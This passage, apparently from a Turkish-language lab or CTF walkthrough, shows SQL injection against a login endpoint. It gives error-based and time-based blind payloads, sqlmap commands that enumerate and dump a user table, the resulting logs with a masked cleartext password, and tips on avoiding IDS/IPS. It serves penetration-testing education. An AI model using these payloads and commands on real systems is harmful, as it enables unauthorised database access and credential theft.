email=test' OR (SELECT 1367 FROM(SELECT COUNT(*),CONCAT(0x7170707a71,(SELECT (ELT(1367=1367,1))) ,0x71766b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- etKK
```

Açıklama: Bu, MySQL sistemlerine has çok meşhur bir atlatma taktiğidir. FLOOR(RAND(0)*2) matematiksel fonksiyonu ile geçici bir tabloda (temporary table) kasıtlı olarak "Duplicate Key" (Çift Kayıt) hatası yaratılır. Veritabanı çökmez, ancak ekrana bastığı hata mesajının içine saldırganın istediği veri (örneğin veritabanı adı) sızdırılır.

3. Time-based blind (Zaman Tabanlı Kör Enjeksiyon):

```
email=test' AND (SELECT 1575 FROM (SELECT(SLEEP(5)))mMwB)-- wVzp
```

Açıklama: Eğer ekranda hiçbir hata veya boyut farkı olmasaydı (tamamen savunulmuş bir arayüz), SQLMap veritabanı motoruna SLEEP(5) komutunu göndererek işlemi 5 saniye bekletmeye zorlamaktadır. Sunucu yanıtı 5 saniye geç veriyorsa, komutların arka planda başarıyla çalıştığı fiziksel (zamansal) olarak kanıtlanmıştır.

Sonuç (Data Dumping)

Plaintext

```
available databases [x]:
[*] ai
[*] information_schema
[*] mysql
....
```

Bu agresif tarama ve atlatma tekniklerinin bir sonucu olarak, aracımız başarıyla içeri sızmış ve ilk görevimiz olan sistemdeki X veritabanının ismini terminale yansıtmıştır. Artık odaklanmamız gereken spesifik hedefin **ai** veritabanı olduğu netleşmiştir.

Diğer SQL Sorgusu

Bu aşamada çalıştırdığımız komut, SQLMap'e körü körüne tüm sistemi taramayı bırakmasını ve doğrudan hedefin kalbine odaklanmasını emreder.

```
sqlmap -u 'http://10.113.130.44/ai/includes/user_login?email=test&password=test' -D ai --tables --level=5
```

Çıktı Analizi: Bu komuttaki parametre dizilimi rastgele değildir:

- `-D ai` : Veritabanı seçicisidir. İşlem bağlamını (context) yalnızca **ai** veritabanı içine hapseder.
- `--tables` : Keşif (Enumeration) emridir. Seçilen veritabanı hiyerarşisinin bir alt katmanına inerek içindeki tablo yapılarını dökmesini (dump) ister.

Operasyonel Gizlilik (Stealth) ve Ön Bellek (Cache) Mimarisi

Çıktıyı analiz ettiğimizde, bir önceki taramada dakikalar süren ve bize sürekli onay soruları (Y/N) soran SQLMap'in bu kez işlemi saniyeler içinde ve hiçbir soru sormadan tamamladığını görüyoruz. Bunun arka planındaki teknik sebep logların ilk satırlarında gizlidir:

```
[12:47:36] [INFO] resuming back-end DBMS 'mysql'
[12:47:36] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
```

DİKKAT: Bir sızma testinde aynı hedefe aynı agresif taramaları (örneğin `--level=5`) tekrar tekrar göndermek acemiliktir ve sistemdeki IDS/IPS (Saldırı Tespit/Engelleme) mekanizmalarını anında tetikler. SQLMap, endüstri standardı bir araç olduğu için muazzam bir operasyonel zekaya sahiptir. Bir hedefte zafiyet (Injection point) ve veritabanı tipi (MySQL) bulunduğunda, bu istihbaratı lokal makinedeki gizli bir dizine (logun sonunda belirtilen `/root/.sqlmap/output/10.113.130.44` dizinine) SQLite veritabanı formatında kaydeder.

Bu komutu çalıştırdığımızda araç `resuming` (devam ettiriliyor) durumuna geçer. Hedefi baştan taramaz; bağlantının kopup kopmadığını test eder, ardından ön bellekteki (stored session) başarılı payload'ları (Boolean, Error ve Time-based blind vektörlerini) cebinden çıkarıp doğrudan tablo çekme sorgusunu hedefe fırlatır.

Veri İfşası (Data Extraction)

Kullanılan Error-based (Hata tabanlı) payload sayesinde, arka plandaki MySQL motoru zorlanmış ve kendi iç tabloları (INFORMATION_SCHEMA) üzerinden bize yanıt vermeye mecbur bırakılmıştır.

```
[12:47:36] [INFO] fetching tables for database: 'ai'
[12:47:36] [INFO] retrieved: 'u...'
Database: ai
[1 table]
+-----+
| u... |
+-----+
```

Teknik Çıktının Anlamı: Veritabanı başarıyla sömürülmüş ve **ai** isimli veritabanının altında sistem kullanıcılarına ait kayıtların tutulduğu **u...** isimli bir adet tablo olduğu tespit edilmiştir (retrieved).

Bu aşama, saldırı hiyerarşisinin köprü adımıdır. Veritabanını bulduk (**-D ai**), tabloyu bulduk (**-T u...**). Analitik mantık zincirine göre bir sonraki nihai adımımız, bu tablonun içindeki kolonları (örneğin username, password) ve satırları sızdırmak (Data Dumping) olacaktır. İşlem sonlandığında araç, ifşa edilen bu tablo bilgisini de ilerideki adımlarda tekrar kullanmak (resume) üzere **.sqlmap/output** dizinine kaydetmiştir.

Son Sorgumuz

Bu noktada hedefimiz, arka plandaki tüm sistemi değil, cerrahi bir hassasiyetle yalnızca tespit ettiğimiz kritik verileri ele geçirmektir.

```
sqlmap -u 'http://10.113.130.44/ai/includes/user_login?email=test&password=test' -D ai -T user --dump
```

Çıktı Analizi: *Komut dizilimindeki mantıksal hiyerarşi kusursuz bir şekilde tamamlanmıştır:)*

- **-D ai** : Hangi veritabanındayız?
- **-T user** : O veritabanındaki hangi tablonun içindeyiz?
- **--dump** : Ve nihai vuruş: Belirtilen bu tablonun içindeki tüm verileri (satırları ve sütunları) kopyalayarak sistemimize aktar.

Eğer **-D** ve **-T** parametrelerini belirlemeden sadece **--dump** komutunu verseydik, SQLMap sunucudaki tüm veritabanlarını (Gigabaytlarca veriyi) çekmeye çalışacak, bu da hem operasyonun günlerce sürmesine hem de sunucunun çökmesine (Denial of Service) neden olabilecekti.

Şema Keşfi (Schema Enumeration) ve Veri Çekme Sürecinin Anatomisi

Logları incelediğimizde SQLMap'ın yine eski oturumu (stored session) kullanarak vakit kaybetmeden doğrudan hedefe yöneldiğini görüyoruz. Ancak veri çekme işleminden hemen önce arka planda gerçekleşen kritik bir teknik adım vardır:

```
[12:53:01] [INFO] fetching columns for table '....' in database 'ai'
[12:53:01] [INFO] retrieved: 'id'
[12:53:01] [INFO] retrieved: 'int(11)'
[12:53:01] [INFO] retrieved: 'email'
[12:53:01] [INFO] retrieved: 'varchar(512)'
...
```

Teknik Anlamı: Veritabanı motoru, tabloları birer yapı (schema) olarak tutar. SQLMap, satırları (verileri) çekmeden önce bu yapının **Blueprint'ini (Taslağını)** anlamak zorundadır. `fetching columns` evresinde araç, veritabanına kolon adlarını ve veri tiplerini sorar. Çıktıda gördüğümüz `int(11)` (Tam sayı) ve `varchar(512)` (Maksimum 512 karakterlik metin) verileri, SQLMap'ın gelen veriyi ekrana nasıl hizalayacağını ve parse edeceğini (işleyeceğini) belirler.

Şema başarıyla okunduktan sonra asıl sızıntı başlar:

```
[12:53:02] [INFO] fetching entries for table 'u...' in database 'ai'
[12:53:02] [INFO] retrieved: '1'
[12:53:02] [INFO] retrieved: '.....'
[12:53:02] [INFO] retrieved: '2023-02-21 09:05:46'
[12:53:02] [INFO] retrieved: 'test@chatai.com'
Database: ai
Table: ....
[1 entry]
+-----+-----+-----+-----+
| id    | email                | created                | password    |
+-----+-----+-----+-----+
| 1     | test@chatai.com      | 2023-02-21 09:05:46   | .....     |
+-----+-----+-----+-----+
```

Sömürü Sonucu ve Kritik Güvenlik Zafiyetinin İfşası: `fetching entries` komutuyla tablo içindeki kayıtlar teker teker okunmuş ve ekrana standart bir SQL tablosu formatında basılmıştır. Burada elde edilen en kritik istihbarat, `test@chatai.com` kullanıcısının parolasının `.....` olmasıdır.

ÖNEMLİ (Sektörel Raporlama Kriteri): Bir siber güvenlik uzmanı olarak bu tabloya baktığında sadece bir veri sızıntısı değil, aynı zamanda ciddi bir **Kriptografik İhmal (CWE-256: Unprotected Storage of Credentials)** görmelisin. Uygulama, kullanıcı parolalarını Hash (MD5, SHA256, bcrypt vb.) kullanarak şifrelemek yerine veritabanında **Cleartext** (Açık metin) olarak tutmaktadır. Eğer parolalar hashlenmiş olsaydı, SQLMap bize önceki görevlerde olduğu gibi "Bunları John The Ripper veya Hashcat ile kırmak ister misin?" diye soracaktı.

Post-Exploitation (Sömürü Sonrası) Kanıt Toplama

Sızma testlerinde kanıt esastır. Terminaldeki loglar ekran kapandığında kaybolur.

```
[12:53:02] [INFO] table 'ai.`user`' dumped to CSV file
'/root/.sqlmap/output/10.113.130.44/dump/ai/user.csv'
```

SQLMap, işi sadece terminalde bırakmaz. Otomatik olarak sızdırılan tüm veriyi, belirtilen dizin altında (`/root/.sqlmap/.../user.csv`) bir virgülle ayrılmış değerler (CSV) dosyası olarak kaydeder. Bu özellik, yüz binlerce satırlık veri çekildiğinde bunların Excel veya benzeri

veri analiz araçlarıyla incelenmesini ve sızma testi raporuna (Pentest Report) doğrudan kanıt (Artifact) olarak eklenmesini sağlar. Sistem tam anlamıyla ve kalıcı olarak ele geçirilmiş (Compromised) durumdadır.